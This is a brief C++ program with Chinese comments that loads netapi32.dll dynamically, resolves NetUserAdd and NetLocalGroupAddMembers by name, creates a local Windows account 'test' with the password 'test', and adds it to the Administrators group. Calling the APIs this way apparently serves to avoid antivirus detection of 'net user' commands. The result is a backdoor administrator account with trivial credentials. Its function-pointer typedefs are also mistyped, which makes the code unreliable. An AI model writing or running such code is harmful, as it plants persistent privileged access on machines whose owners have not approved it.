#include <QCoreApplication> //此句可不用
#include <windows.h>
#include <lm.h>
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
USER_INFO_1 ui;
int Usage(wchar_t *);
ui.usri1_name = L"test";
ui.usri1_password = L"test";
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
DWORD dwError = 0;
HINSTANCE hd;
hd=LoadLibraryA("netapi32.dll"); //动态调用 dll
typedef BOOL(*fun)(HINSTANCE,int,LPBYTE,DWORD *); //定义net user add/命令
fun add=(fun)GetProcAddress(hd,"NetUserAdd");
add(NULL,1,(LPBYTE)&ui,&dwError); //增加用户名
typedef BOOL(*fun1)(HINSTANCE,wchar_t * ,int,LPBYTE,int); //定义net uer group 命令
fun1 addg=(fun1)GetProcAddress(hd,"NetLocalGroupAddMembers");
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=L"test";
addg(NULL,L"Administrators",3,(LPBYTE)(&account),1); //添加用户到amdin
return 1;
}